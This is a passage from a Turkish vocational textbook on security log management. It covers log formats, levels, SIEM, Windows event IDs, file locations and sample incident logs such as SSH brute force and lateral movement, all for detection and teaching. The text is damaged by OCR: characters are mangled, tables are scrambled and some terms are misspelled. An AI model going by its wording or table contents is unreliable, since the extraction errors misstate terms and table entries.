mdusteri islemleri ve finansal hareketlerle ilgili loglari 5 yil boyunca saklamalidir.

Olay Tiirii (Event Type): Bir log kaydinin iceriginde bulunan olayin tiiriinii belirtir. Ornegin giivenlik
duvari tarafindan tespit edilen baglanti girisimi veya girisimin engellenmesi, sisteme yapilan kullanici
girisleri, basarisiz giris denemeleri gibi olaylardir.

Log Seviyesi: Bir olayin ne derece dnemli oldugunu ve ne kadar acil miidahale gerektirdigini belirleyen
bir olctttlr. Bu seviyeler, olaylarin kritikligiyle ilgili bir gbsterge sunar ve sistem yoneticileri ile glivenlik
uzmanlarinin, loglar arasindan hangi olaylarin daha 6ncelikli oldugunu kolayca ayirt etmelerini saglar.

Log Formati: Bir log kaydinin yapisini ve igerigini belirleyen diizenlemeye denir. Bu bicimlendirme,
sistem yoneticilerinin ve glivenlik analistlerinin log verilerini kolayca okuyabilmesi ve analiz edebilmesi
icin bliylik 6nem arz eder. Bir log formatinin iceriginde genellikle zaman damgasi, log seviyesi, olay tir(,
kaynak/hedef IP adresi vb. bilgiler bulunur.

Log Normalizasyonu: Farkli kaynaklardan (6rnegin givenlik duvarlari, sunucular, ag cihazlari,
uygulamalar vb.) gelen log verilerinin tutarl ve analiz edilebilir bir ortak bicime donustirilmesi
islemidir. Bu sireg, cesitli sistemlerden gelen verilerin farkh formatlarda olmasina ragmen belirli bir
standartta birlestirilmesini saglar. Bu islem genellikle SIEM sistemlerinde kullanilir. SIEM ¢6zimleri,
farkh cihazlardan ve yazilimlardan gelen loglari toplayarak her birini benzer bir formata dontsturir.
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SIEM, glvenlik analistlerinin verileri daha kolay bir sekilde analiz etmelerine olanak tanir (Gérsel 3.7).

E 4
/ LOG NORMALIZASYONU

e

.

Gorsel 3.7: SIEM ¢ozUmleri

Normalizasyon sayesinde loglar; zaman damgasi, olay tiirti, kullanici adi, IP adresi, cihaz adi gibi temel
parametreler agisindan ortak bir yapiya kavusturulur.

Sisteme giris yapan bir kullaniciya iliskin loglar, farkh cihazlar veya yazilimlar

ORNEK : o
tarafindan su sekilde kaydedilebilir:

-

1. Giivenlik Duvari Logu

“2025-02-07 16:32:45, INFO, mtegm123, Access granted from IP: 192.168.1.100”

2. Web Sunucusu Logu

“02.07.2025 16:32:45, SUCCESS, mtegm123, Login successful to /home/user”

3. Uygulama Logu
“LOGIN, mtegm123, Successful login at 192.168.1.100 2025/02/07 16.32.45, “

Log normalizasyonu sayesinde bu farkh formatlardaki loglar, su sekilde birlesebilir:
Normallestirilmis Log
“2025-02-07 16:32:45, LOGIN, mtegm123, IP: 192.168.1.100, Status: SUCCESS”

Log Analizi: Bir bilisim sisteminde veya agda meydana gelen olaylarin, log kayitlari Gizerinden incelenmesi
ve degerlendirilmesidir. Bu siireg; glivenlik agiklarini, hatalari, performans sorunlarini ve olasi tehditleri
belirlemeye yardimci olur. Toplanan log verilerinin diizenli olarak analiz edilmesi; glivenlik, performans
ve sistem iyilestirme agisindan dnemli bilgiler elde edilmesini saglar. Log analizi genellikle SIEM araglari
veya manuel yontemlerle yapilir ve bu yontemle olaylar sirasiyla incelenerek olagan disi durumlar tespit
edilmeye calisilir.

Log Giivenligi: Sistemlerdeki log kayitlarinin gizliligi, butlinlGgl ve dogrulugunun saglanmasi islemidir.
Loglar, bir ag veya sistemdeki dnemli olaylarin kaydini tutar ve glivenlik analizi, hata tespiti, performans
izleme gibi bircok alanda kritik bilgiler sunar. Bu nedenle loglarin giivenli bir bicimde yonetilmesi
oldukga 6nemlidir. Log glivenligi, su unsurlari kapsar:
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1. Gizlilik: Log verilerinin sadece yetkilendirilmis kullanicilar tarafindan erisilebilir olmasini saglamak
amaclyla sifreleme ve erisim sinirlamalari uygulanir.

2. Biitiinluk: Log verilerinin degistiriimemesi, silinmemesi ve bozulmamasi icin gerekli dnlemler alinir.

3. Erisim Kontrolii: Loglara kimlerin erisebilecegini belirlemek ve yalnizca yetkili kisilerin erisimini
saglamak igin kimlik dogrulama ve erisim denetim yontemleri kullanilir.

4. Depolama ve Yedekleme: Log verileri diizenli olarak glivenli alanlarda saklanir ve herhangi bir kayip
durumunda tekrar erisilebilecek sekilde yedeklenir.

Log guvenligi; olasi saldirilarin, i¢ tehditlerin ve teknik aksakliklarin tespitinde hayati bir rol oynar. Bu
nedenle loglarin giivenli ve dogru bir sekilde yonetilmesi, sistemlerin saglam ve giivenilir olmasini
saglamak adina buyik bir 6neme sahiptir (Gorsel 3.8).

Gorsel 3.8: Log guvenligi

SIEM: Guvenlik bilgi ve olay yonetimi sistemleri; loglari toplayan, analiz eden ve korelasyon kurarak
glvenlik tehditlerini tespit eden araglardir (Gorsel 3.9).
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Gorsel 3.9: Acik kaynak kodlu SIEM yazilimi
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3.1.2. Log igerik Bilgileri

Loglar, dijital dinyanin karakutusudur. Yapilan her
islem, etkilesim ve hata sistemlerin icindeki bu
sessiz izlerde saklidir. Tipki bir ugagin karakutusunun
kazalari ¢ozmeye yardimci olmasi gibi loglar da
dijital ortamda yasanan her tirli olayin analiz
edilmesinde kritik rol oynar. Loglar dogru bir sekilde
analiz edildiginde guvenlik agiklarini, performans
sorunlarini ve sistemsel hatalari 6nceden tespit
edebilme glici sunar. Loglarin igeriginde bulunan
bilgileri anlamak ve dogru sekilde yorumlamak,
onlari yalnizca bir kayit kaynagi olmaktan cikarip
etkin bir glvenlik ve yonetim aracina donustirir
(Gorsel 3.10).

3.1.2.1. Log Dosyalarinin Temel Yapisi

Log dosyalarinin yapisinda temel olarak su dgeler bulunur:

Gorsel 3.10: Log icerik analizi

Zaman Damgas! (Timestamp): Olayin gergeklestigi zaman ve saat diliminin belirtildigi alandir. Cesitli
formatlarda zaman damgasi ile karsilasilir. En yaygin olanlarindan biri 1ISO 8601 formatidir. Bunun
yaninda Syslog, Windows olay gorintileyicisi ve Nginx Web sunucu loglari kendine 6zgii farkli zaman

damgasi formatlarindadir.

ORNEK | 2025-03-10T12:30:45Z

-

I1SO 8601 formatinda bir zaman dilimi

T: Tarih ve saat arasindaki ayiricidir.

Z: UTC, [Coordinated Universal Time (Esglidiimlii Evrensel Zaman)] belirtir. Log
analizleri, Glkeler arasi saat farkliliklari yliziinden hatali olabilir. UTC kullanimi, bu
karisikligi onler ve olaylar dogru zaman sirasina gore incelenebilir.

Kaynak (Source): Gerceklesen olaylarda logun hangi sistem, uygulama veya servis tarafindan tretildigi
bilgisidir. Olayin ¢ikis nedeni, ne yaptigl ancak kaynak bilgisiyle izlenebilir (Tablo 3.1).

Tablo 3.1: Log Turleri ve Agiklamalari

Kaynak (Source) Ornegi | Acklama________|

Windows Olay Giinliigii

Winlogon, Service Control
Manager, MSSQLSERVER

Windows oturumu, servis baslatma, SQL
Server gibi kaynaklara ait log Uretir.

Linux Syslog

sshd, systemd, kernel, cron

SSH baglantilari, c¢ekirdek mesajlari,
servis yonetimi ve zamanlanmis gérevler
loglanir.

Web Sunucu Loglari

apache2,nginx, mod_security

HTTP istekleri, sunucu olaylari ve glivenlik
modili loglarini olusturur.
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Kaynak (Source) Omegi | Agklama

Giivenlik Duvan Loglari

FortiGate, pfSense, Cisco
ASA, iptables

Ag trafigi, erisim kontrol(, glvenlik kural
ihlalleri gibi olaylari loglar.

Uygulama Loglari

AuthService,
InventoryManager, UserAPI

Uygulama bilesenleri tarafindan Gretilen
kullanici, islem ve sistem loglaridir.

Antiviris Loglari

Kaspersky Endpoint,
Windows Defender,
Symantec AV

Zararli yazilim tespiti, karantina islemleri
ve glivenlik bildirimleri kaynak olarak
gecer.

Ag Cihazi Loglan

Cisco 10S, Juniper, HP
ProCurve, Ubiquiti

Switch, router gibi cihazlardan gelen
yapilandirma, trafik ve hata loglarini
icerir.

Bulut Servis Loglari

AWS CloudTrail, Azure
Monitor, Google Cloud

Logging

Bulut ortamindaki API erisimleri, kaynak
kullanimi ve degisiklik loglarini igerir.

CrowdStrike Falcon,

Uc nokta tehdit tespiti, stire¢ analizi,

EDR Loglar SentinelOne, Sophos siipheli dosya aktiviteleri gibi olaylari
Intercept X loglar.
Ag trafigini izleyip anomali tespit eden
IDS Loglari Snort, Suricata, Zeek sistemlerin saldiri veya anormallik
bildirimlerini igerir.
Cisco Firepower, Palo .
. Gercek zamanli saldiri 6nleme ve
IPS Loglan Alto Threat Prevention,
. . engelleme olaylarinin loglarini olusturur.
TippingPoint
Farkli kaynaklardan gelen loglarin
Splunk, IBM QRadar, Y 8 8 .. .
SIEM Loglan toplanmasi, korelasyonu ve analizine dair

LogRhythm, Elastic SIEM

kayitlari igerir.

Olay Tiirii (Event Type): Sistemlerin, uygulamalarin veya ag cihazlarinin rettigi log mesajlarini siniflan-
dirmak ve filtrelemek icin kullanilir. Gergeklesen uyarilarin ciddiyetini bildiren mesajlardir (Tablo 3.2).

Log . . Renk Kodu
o Kullanim Amaci Ornek Mesaj
Seviyesi (Genel)

Tablo 3.2: Log Seviyeleri ve Agiklamalari

Mavi

Yesil

Kirmizi

Gelistiriciler icin detayh  [DEBUG] Database
DEBUG Hata Ayiklama . . .
teknik bilgi connection pool size: 10
Sistemin normal isleyisi INFO] User login
INFO Bilgilendirme ! I o IFIeVI3! [ ] &l
hakkinda bilgi successful (ID: 12345)
[ERROR] Failed to
Hata olustu (Uygulama
ERROR | Hata . process payment
hala galsiyor.). .
(Timeout)
FATAL/ . Sistemin ¢okmesine [FATAL] Disk full - service
Kritik Hata .
CRITICAL neden olan durumlar terminated

Siyah/Kirmizi

Tablonun devami =——p
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Log . . Renk Kodu
o Kullanim Amaci Ornek Mesaj
Seviyesi (Genel)

Guvenlikle ilgili kritik [AUDIT] Unauthorized
AUDIT  Denetim olaylar (yetkisiz erisim access attempt to /admin Lacivert

girisimi gibi) (IP: 192.168.1.100)

Kritik olmayan ancak

dikkat gerektiren [WARN] High memory
WARN Uyari -

sorun potansiyeli olan usage detected (85%)

durumlar

DEBUG'den daha [TRACE] SQL quer
TRACE  izleme detayli izleme bilgisi o Sy

. execution time: 2.3ms
(performans analizi icin)

Olay Kodu (Event ID): Bir sistemdeki olaylari tanimlamak i¢in kullanilan, genellikle sayisal veya alfa-
nimerik formatta olan benzersiz bir koddur. Bu kod, log dosyalarinda her olay kaydina atanarak
olayin neyle ilgili oldugunu hizlica anlamaya yardimci olur. Ornegin Windows isletim sistemlerinde
her tir olay icin 6zel bir Event ID bulunur. Bu kodlar, olayin tlrinl ve seviyesini tanimlamanin yani
sira sistem yoneticilerinin olaylari daha verimli bir sekilde analiz etmelerini saglar. Olay kodlari,
glvenlik veya performans sorunlarini incelemek icin kritik bir rol oynar. Bir dizi olayin sirali sekilde
analiz edilmesiyle (6rnegin art arda gelen Event ID 4625 olaylari) olasi bir brute force saldirisini veya
yetkisiz giris denemelerini tespit etmek icin dnemli bir gosterge olabilir. Bu sayede uzmanlar, olayi daha
derinlemesine inceleyebilir ve olasi tehditlere karsi erken uyari alabilir.

Ornek Windows Olay Giinliikleri

Event ID 4624: Basarili kullanici girisi

Event ID 4625: Basarisiz kullanici girisi denemesi

Event ID 7036: Windows Servisi durdu.

Event ID 5156: Windows Givenlik Duvari, bir ag baglantisina izin verdi.

Kullanici Bilgisi: Sistemdeki her etkinlik, bir kullanici tarafindan gerceklestirilir. Gergeklestirilen bu
etkinlikler mutlaka bir kullaniciyla iliskilendirilmelidir. Boylelikle bir islemin veya etkinligin hangi
kullanici tarafindan yapildigi bilinir. Sipheli etkinliklerin izlenebilmesi, denetimlerin yapilabilmesi ve

gerektiginde sorumlulugun belirlenmesi agisindan log dosyalarinda bulunan kullanici bilgisi kismi biyuk
Onem arz eder.

ORNEK \\ [2025-03-11 16:23:45] [User: admin] [IP: 192.168.1.100] [Action: login successful] \
-

IP/MAC Adresi Bilgisi: Loglarda yer alan IP adresi, o sirada yapilan bir islemi hangi ag cihazinin
gerceklestirdigini belirlemek igin kullanili. MAC adresi ise yerel agda cihazlar arasinda veri iletimi
saglanirken kullanilan cihazin fiziksel adresidir. AGda anormal davranislari tespit etmek, ag cihazlarinin
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kimligini dogrulamak, yetkisiz erisimleri engellemek ve agdaki cihazlari benzersiz bir sekilde tanimlamak
icin kullantlir.

[2025-03-11 16:23:45] [User: admin] [IP: 192.168.1.100] [MAC: 00:AA:BB:CC:DD:5E]

ORNEK | _ _
[Action: login successful]

Aciklama/Mesaj (Message): Loglarda yer alan mesaj kismi genellikle olayin sebebini, durumunu, hata
kodlarini veya gerceklestirilen islemin durumunu belirten bilgileri ierir.

Mesajlarin yararlari sunlardir:

« islem sonucunun basarili veya basarisiz oldugu konusunda bilgi verir. islemin neden basarisiz
oldugunun aciklamasi, mesajda yazar.

- Sistemdeki her islemin ne sekilde gerceklestigini agiklayan mesajlar, sistem yoneticilerinin etkin-
likleri izlemelerine ve gerektiginde miidahale etmelerine yardimci olur.

« Saldirilar ve kotl niyetli aktiviteler hakkinda bilgi verir.

« Bir hata meydana geldiginde mesajlar, hata hakkinda aciklayici bilgi sunarak ¢6ziim strecini hiz-

landirabilir.
ORNEK [2025-03-1116:23:45] [User: admin] [IP: 192.168.1.100] [Action: login successful]
\
- [Message: User ‘admin’ logged in successfully from IP 192.168.1.1]

Mesaj kismi incelendiginde girisin basariyla gergeklestigi ve kullanicinin hangi IP adresinden giris yaptigi
goriintilenir.

3.1.3. Log Formatlari

Log formatlan; her bir log kaydinin diizeni, igerigi ve anlamini belirler. Bu formatlar; isletim sistemlerinin,
ag cihazlarinin, IDS/IPS, EDR gibi glivenlik ¢6ztimlerinin ve kullanilan uygulamalarin sundugu farkli
turdeki verilerin belirli bir diizen icinde kaydedilerek anlasiimasini saglar. Farkl yazilimlar ve cihazlar
kendilerine 6zgii formatlar kullanabilir. Dogru formatta sunulmussa bu veriler, cok degerli bilgiler haline
gelir. Ornegin giivenlik duvari loglari, ag trafigi hakkinda bilgi verirken web sunucusu loglari, kullanici
etkinliklerini ve erisim verilerini kaydeder. Yaygin kullanilan log formatlari, aciklamalari ve kullanim
alanlari Tablo 3.3’te verilmistir.

Tablo 3.3: Log Formatlari ve Agiklamalari

Log Format m Kullanim Alani

. Satir satir kayit iceren diiz Genellikle sistem loglari ve uygulama
Plain Text (.log, .txt)

metin dosyalaridir. hatalari igin basit formattir.
Yapilandiriimis  loglar i¢cin Web  uygulamalari, mikro  hizmet

JSON Format modern ve insan tarafindan | mimarileri ve modern sistemler igin
okunabilir formattir. kullanimi yaygindir.

Tablonun devami ——
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| logFormat | Agklama | KullanmAlam |

Yapilandirilmis, etiketli veriler
XML Format icerir ve eski sistemlerde yaygin
olarak kullantlir.

Eski sistemler, ag cihazlari ve uygulama
loglariicin kullanihr.

UNIX/Linux sistemlerinde Ag cihazlari, glivenlik duvarlari ve
Syslog Formati o
standart log bigimidir. sunucularda yaygin kullanilir.
CEF (Common Event SIEM sistemlerinde kullanilan Guvenlik olaylarini toplayan sistemler
Format) ozel bir formattir. icin kullanimi yaygindir.

CEF formatina benzer, IBM
QRadar SIEM gibi sistemlerde SIEM sistemlerinde tercih edilir.
kullantlir.

LEEF (Log Event
Extended Format)

Kolonlar arasinda virgille ayrilmis  Web sunucu loglari, kullanici etkinlik
veriler icerir. Genellikle veri raporlari ve veri analizi i¢in kullanimi
analizi igin kullanihr. yaygindir.

CSV (Comma-
Separated Values)

. Yapilandirilmis ve okunabilir . )
YAML (YAML Ain't } . Mikro hizmetler ve konteyner tabanli
veri formatidir. JSON'a alternatif

Markup Language) uygulamalarda tercih edilir.
olarak kullantlir.

W3C Extended Log | Web sunuculari i¢in gelistirilmis IS gibi Microsoft web sunucularinda
Format (ELF) bir log formatidir. yaygin kullanilir.

Ag cihazlarindan gelen uyari ve
SNMP Trap Formati | hatalarin kaydedildigi 6zel bir log = Ag yonetimi ve cihaz izleme igin kullanilir.

formatidir.
Web sunucularinin varsayilan log "
Common Log Format e Apache ve diger web sunucularinda web
formatidir. HTTP istegi ile ilgili . .
(CLF) erisim loglari igin yaygin kullanilir.

temel bilgileri igerir.

RFC 3164 ve RFC 5424, Syslog protokollniin temelini atarak logiletimiicin standartlari belirler. RFC 3164,
Syslog mesajlarinin yapilandirilmasini ve temel iletim yontemlerini tanimlar. RFC 5424, daha kapsaml
bir yapiy1 sunarak log mesajlarinin daha esnek ve detayli bir bicimde iletilmesine olanak verir. Log4j,
Logback, rsyslog gibi loglama frameworkleri ise bu protokoller Gizerinden log verilerinin toplanmasini,
islenmesini ve analiz edilmesini mimkin kilar.
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Bu araglar, sistemlerdeki glivenlik zafiyetlerini tespit etmeyi ve izlenebilirligi artirmayi saglayarak
potansiyel tehditlerin erken asamalarda fark edilmesine olanak tanir (Gorsel 3.11).

RFC 3164
— . .
- =0
RFC 5424
Giivenlik Duvar Web Sunucusu
Loglan Loglar

Siber giivenlik S_!Stem .
Central System yonetimi

Gorsel 3.11: Loglarin iletimi

Log dosyalari, cesitli sistemlerde farkl konumlarda yer alabilir. Yaygin olarak loglarin bulundugu dosya
konumlari Tablo 3.4’teki gibidir.

Tablo 3.4: Log Dosyalari Konumlari

Sistem/Servis Standart dosya konumlari m

Event Viewer (GUI) / .evtx dosyalari

Windows Uygulama, sistem, glivenlik loglari
%SystemRoot%\System32\Winevt\Logs\
Linux /var/log/syslog, /var/log/auth.log Sistem ve kimlik dogrulama loglari
Apache /var/log/apache2/access.log, error.log Web sunucu erisim ve hata loglar
Nginx /var/log/nginx/access.log, error.log Erisim ve hata loglari
MySQL /var/log/mysql/error.log Veri tabani hata ve islem loglari
Docker docker logs [container_id] Container giinlik ¢iktilar
PostgreSQL /var/log/postgresql/postgresql.log Veri tabani erisim ve islem loglari

SSH baglanti denemeleri ve kimlik

SSH /var/log/auth.log dogrulama loglari

Firewall (ufw/

iptables) /var/log/ufw.log, /var/log/messages Guvenlik duvari etkinlik kayitlari

Pod bazli loglar (container

Kubernetes kubectl logs [pod_name] diizeyinde)
z

Tum sistem servislerinin log kayitlari

Systemd (Linux) | journalctl komutu ile erisim . .
(binary journal)
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3.1.4. Siber Olaya Miidahale Siirecinde Loglarin Kullanimi

Siber olaylara miidahale siireci, log kayitlarinin sistem tarafindan lretilmesi ile baslar. Loglar sayesinde
olayin kapsami, etkisi ve nedeni ile ilgili fikir sahibi olunur. Dolayisiyla loglar, siber olay midahale
slrecinde kritik rol oynayan veri kaynaklaridir. Loglarin bu siiregte kullanimlari soyledir:

Olay Tespiti: Siber olaylarin fark edilmesi ve 6nlenmesinde IDS/IPS, EDR ve XDR, guivenlik duvarlari,
antivirUs yazilimlari gibi pek ¢ok glivenlik ¢c6zimu kullanilir. Bu sistemler, yasanan olaylara dair log Uretir.
SIEM ¢6zlUimleri ise bu loglari merkezi olarak toplayip analiz eder ve siipheli bir durum tespit ettiginde
glvenlik ekiplerini uyarir.

Ornek Log

Bir SIEM sisteminde soyle bir log kaydi olusmustur:

Alert: Multiple Failed Login Attempts Detected
Source IP: 192.168.1.42

Destination: AUTH-SERVER-01

Username: mtegm123

Attempts: 14

Protocol: SSH

Port: 22

Geolocation: | Turkey-Bursa
Time Window: 2025-04-07 03:16:00 - 03:21:00

Severity: Medium
SIEM Rule: Brute Force Attempt via SSH
Notes: Attempts occurred outside of usual working hours (03:00 - 05:00). User

account temporarily locked after threshold was reached.

Yapilan log analizi sonucunda bir sirketin sunucularindan biri olan AUTH-SERVER-01, 2025 yilinin 7
Nisan glint saat 03:16 ile 03:21 arasinda SSH protokoli Gzerinden toplamda 14 basarisiz giris denemesi
ile karsilasmistir. Bu girisimler, kullanici adi mtegm123’e ait olup, denemeler sirketin normal calisma
saatleri disinda gerceklestigi icin potansiyel bir brute force saldirisi olarak degerlendirilmistir. GUvenlik
esigi asilinca mtegm123 kullanicisinin hesabl, gegici olarak kilitlenmistir.

Loglar sayesinde hem siber olayin baslangici tespit edilmis hem de hizlica olaya yanit verilmistir.

Siber Olay Kapsamini Belirleme: Log analizleri gerceklestirildiginde bir saldirinin, sistemi ne kadar
etkilediginin tespit edilmesi mimkiindiir. Sistemde hangi noktalarin hedef alindigi, hangi IP’lerin
olaydan etkilendigi loglar tarafindan tespit edilebilir.

Ornek Log

Firewall loglari, su IP’lere baglanti girisimi oldugunu gostermistir:

2025-04-01 02:33:12 - Connection Attempt from 192.168.1.50 to 192.168.1.100 (Port 3389) ‘
2025-04-01 02:34:01 - Connection Attempt from 192.168.1.50 to 192.168.1.101 (Port 22) ‘

Bu 6rnekten yola ¢ikarak saldirganin birden fazla sisteme erismeye calistigi anlasilabilir. Yapilan firewall
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log analizi sonucunda 2025 yilinin 1 Nisan glin{, saat 02:33:12 ve 02:34:01 arasinda 192.168.1.50
IP adresinden sirasiyla 192.168.1.100 (Port 3389) ve 192.168.1.101 (Port 22) IP adreslerine baglant
denemeleri tespit edilmistir. ilk baglanti denemesi genellikle uzak masaliistii (RDP) protokolii icin
kullanilan 3389 numarali port UGzerinden yapilmis, ardindan SSH protokoli igin kullanilan 22 numaral
port lizerinden ikinci bir baglanti girisimi gergeklestirilmistir. Bu tir kisa zaman iginde pesi sira baglant
denemeleri (6zellikle ayni IP adresinden gelen farkli portlara yonelik erisim talepleri), sipheli bir
davranis olarak degerlendirilebilir. Potansiyel bir sizma girisimi veya kotli amagli tarama faaliyeti olarak
izlenmesi gereken bir durumdur. Firewall, bu baglanti girisim loglarini kaydederek olayin kapsaminin
belirlenmesi igin fikir verir.

Siber Olayin Etki Analizi: Bir olay meydana geldiginde sisteme ne derece zarar verildigi, hangi verilerin
saldiridan etkilendigi ve saldiri ylzeyleri loglar araciligiyla belirlenerek siber olayin etki analizi yapilir.
Ornek Log

Web sunucusu/dosya izleme sistemi tarafindan olusturulmus bir log kaydi soyledir:

2025-05-01 04:42:45 - File Downloaded: /var/www/html/db_mtegmbackup.sql
User: admin
Source IP: 192.168.1.50

Yapilan log analizi sonucunda 2025 yilinin 1 Mayis glinli saat 04:42:45’te admin kullanicisi, 192.168.1.50
IP adresinden /var/www/html/db_mtegmbackup.sql dosyasini indirmistir. Bu tiir bir dosya indirme
islemi 6zellikle veri tabani yedeklemesi gibi 6nemli dosyalara erisim saglanmasi anlamina gelir. admin
kullanicisinin bu tiir dosyalara erisim yetkisi olsa da bu olayin kaydedildigi zaman dilimi ve kaynagi,
sipheli bir davranisin veri giivenligine ve sistem bitinlGgine etki edebilecek bir saldiri olabilecegini
gosterir. Ozellikle normal calisma saatleri disinda yapilan bu islem, veri sizdirma veya kétii niyetli bir ic
saldiri olabilecegi anlamini dogurur. Bu durum goz éniinde bulunduruldugunda kurumun veri giivenligi
politikasinda aciklar oldugu anlasilir. Etki analizi g6z 6niine alindiginda bu tur islemler, potansiyel veri
sizdirma veya daha ileri seviye ihlallere yol acabilir.

Siber Olay iz Takibi (Pivoting ve Lateral Movement): Bir saldirgan, sisteme ilk erisimi sagladiktan
sonra farkli alanlara gegerek ilerleyebilir. Sistemde bulunan bir zafiyet Gzerinden ilk erisim saglanir.
Sonrasinda saldirgan, cesitli yontemlerle yetki ylkseltme (Privilege escalation) yapmaya calisir. Bltin
bu davranislarin ardindan diger sistemlere yatay gecis (literal movement) yapmaya calisir. Saldirganin
bu davranis sirasini loglar adim adim kaydeder. Bu sayede siber olay iz takibi yapilir.

Ornek Log

SIEM altyapisina bagh Linux tabanli sistemlerin ve veri tabani/web sunucularinin birlesik olay log bilgisi
soyledir:

2025-03-10 02:33:12 - Login success - User: admin from 192.168.1.50
2025-03-10 02:34:25 - SSH connection to 192.168.1.101 from 192.168.1.100
2025-03-10 02:36:10 - SQL Dump download initiated by User: root

2025 yilinin 10 Mart giind saat 02:33:12’de admin adh kullanici, 192.168.1.50 IP adresi lizerinden
sisteme basarili bir sekilde erisim saglamistir. Yaklasik bir dakika sonra 192.168.1.100 kaynagindan
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192.168.1.101 hedefine dogru bir SSH baglantisi kurulmustur. Bu baglanti, sistemler arasi gegis
yapildigini gosterir. Stirecin kritik asamasi ise saat 02:36:10'da root yetkileriyle baslatilan bir veri tabani
dékim (SQL dump) indirme islemidir. Bu durum, sistemden veri yedegi alinmasi veya verilerin disa
aktarilmak istenmesi ihtimalini akla getirir. Olayin iz takibi siirecinde 6ncelikle admin kullanicisinin giris
kaydi incelenerek hangi IP (izerinden ne zaman erisim sagladigi netlestirilir. Ardindan SSH baglantilarina
ait glnlukler gdzden gegirilip, hangi sistemler arasinda hareket edildigi tespit edilerek olayin izi stirGlar.

Olay K6k Neden Tespiti: Siber gtivenlikle ilgili yasanan olaylarin gercekte nasil gelistigini anlayabilmenin
yolu, sistemde tutulan log kayitlarinin dikkatle incelenmesinden geger. Bir olayin ne zaman basladigini,
hangi yollarla ilerledigini ve sistemdeki hangi noktalari kullandigini tespit edebilmek i¢in bu loglarin
eksiksiz ve glivenilir olmasi biylk 6nem tasir. Meydana gelen bir olayin ardindaki temel sebebi belirlemek
yalnizca verdigi zarara bakmakla degil olayin 6ncesine ait sinyalleri degerlendirmekle mimkiinddr. Bu
kapsamda log dosyalari, sistemde gerceklesen her eylemizamana bagli olarak belgeledigiigin saldirganin
hareketlerini adim adim takip etme olanagi saglar. Tim bu log kayitlari, saldirinin kék nedenini tespit
etmek igin kritik rol oynar.

Delil Toplama: Log kayitlari; saldirganin sisteme yaptigi tim girisimleri, dosya erisimlerini, ag trafigini
ve diger faaliyetleri izleyerek olayin gelisimini, hangi sistemlerin etkilendigini ve saldirganin kaynagini
belirlemeye yardimci olur. Ayrica delil zincirinin korunmasi agisindan biyik bir 6neme sahiptir ¢linki
loglarin bozulmamis ve orijinal kalmasi, mahkeme stirecinde bunlarin gecerli delil olarak sunulabilmesini
saglar.Zaman damgali kayitlar, olayin zamanlamasinive sirasini netlestirerek sorusturmanin dogrulugunu
artirir. Bu sebeple loglarin glivenli bir sekilde tutulmasi, bitlnliklerinin korunmasi ve diizenli bicimde
analiz edilmesi hem teknik miidahaleler hem de hukuki stiregler agisindan kritik 6neme sahiptir.

3.1.5. Log Analizinde Dikkat Edilmesi Gereken Noktalar

Log analizi gerek olaylarin incelenmesi gerek sorunlarin giderilmesi stirecinde énemli bir rol oynar. Log
analizinin etkili bir sekilde yapilmasi icin bazi faktorlere dikkat edilmesi gerekir. Bu noktalar su sekilde
siralanabilir:

1. Zaman Damgalarinin Dogrulugu
« TUm loglarin ayni saat dilimini ve dogru zaman bilgilerini kullanmasi gerekir.

« Zaman senkronizasyonu ve dolayisiyla tiim loglarin ayni saat diliminde olabilmesi igin NTP
(Network Time Protocol) kullaniimasi gerekir.

2. Log Kaynaginin Belirlenmesi
« Log kayitlarinin hangi cihazdan, sistemden veya uygulamadan geldigi acik¢a anlasiimalidir.
- Kaynagi belirsiz loglar, analiz slirecini zorlastirabilir ve hatali sonuglara yol acgabilir.

3. Log Formatinin Standartlagtiriimasi

+ Loglarin anlasilir, diizenli ve tek tip formatta olmasi dnemlidir. Bu, 6zellikle loglari analiz eden
araglarla uyumlu calismayi kolaylastirir.

« JSON, CSV, Syslog gibi yaygin formatlarin tercih edilmesi nerilir.
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4. Kritik Olaylarin Tespiti

 Yetkisiz erisim girisimleri, basarisiz oturum acma denemeleri gibi olaylar 6ncelikli olarak incelen-
melidir.

« Olagan disi trafik hareketleri veya mesai saatleri disinda yapilan baglantilar da dikkate alinmalidir.
5. Loglarin Saklanma Siiresi

« Log verileri, ilgili yasal diizenlemelere ve kurumun i¢ politikalarina uygun bir stire boyunca sak-
lanmalidir.

« Gerektiginde ulasilabilmesi icin dizenli arsivieme yapilmalidir.
6. Gizlilik ve Erisim Yetkisi

« Log dosyalari, glivenlik agisindan hassas bilgiler icerebilir. Bu nedenle sadece yetkili kisilerin eri-
simine acgik olmahdir.

« Loglarin glivenligini saglamak adina sifreli bir sekilde saklanmasi ve iletilmesi 6nemlidir.
7. Korelasyon ve Olay iliskilendirme

« Farkh sistemlerden gelen loglar birlikte degerlendirilerek olaylar arasindaki baglantilar tespit
edilmelidir.

« Bu sayede birbiri ile iliskili karmasik glivenlik ihlalleri daha kolay tespit edilebilir.
8. Otomasyon ve Uyari Sistemleri

« Log analiz slireglerinin daha verimli ylrGtllebilmesi icin otomatik uyari ve raporlama sistemle-
rinden faydalaniimalidir.

« SIEM gibi log yonetim araclari buyiik destek saglar.
9. Anlik izleme (Gergek Zamanli Monitoring)

« Ozellikle kritik altyapilarda loglar anlik olarak izlenmeli, olasi tehditlere karsi hizlica miidahale
edilebilmelidir.

10. Yedekleme ve Giivenlik Onlemleri
» Log dosyalarinin dizenli olarak yedeklenmesi gerekir.

» Log dosyalari yetkisiz erisimlere karsi korunmali, dosyalarin biitlinlGgi saglanmalidir.
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3.1.6. Log Tiirleri

Sistemlerin, uygulamalarin, ag cihazlarinin ve kullanicilarin gerceklestirdigi tim islemler, dijital ortamda
bir iz birakir. Bu izler, glivenlik uzmanlari icin kritik 5neme sahip veriler sunarak olasi tehditlerin tespit
edilmesini, performans sorunlarinin analizini ve uyumluluk gereksinimlerinin karsilanmasini saglar
ancak her sistemin kendine 6zgl mimarisi ve islevselligi, log tilrlerinin de ¢esitlenmesine yol acar
(Gorsel 3.12).
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Gorsel 3.12: Log tirleri

islem ginliikleri (transaction log), sistem olay kayitlari (event log), ag cihazlarinin Urettigi trafik
loglari, u¢ nokta gilivenlik ¢coziimlerinin olusturdugu tehdit kayitlari gibi farkh tirdeki loglar, her biri
kendi baglaminda énemli bilgiler tasir. Ornegin bir veri tabani islem giinl(igii, anormal sorgulari tespit
etmeye yardimci olurken bir firewall log, yetkisiz erisim denemelerini ortaya cikarabilir. Bu gesitlilik, log
yonetimini karmasik hale getirse de glvenlik analistlerine kapsamli bir bakis agisi sunar.
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3.1.6.1. Olay Giinliikleri (Event Log)

Olay gilinlikleri; bir bilgisayar sisteminde meydana gelen hatalar, ihlaller, glivenlik olaylari, kullanici
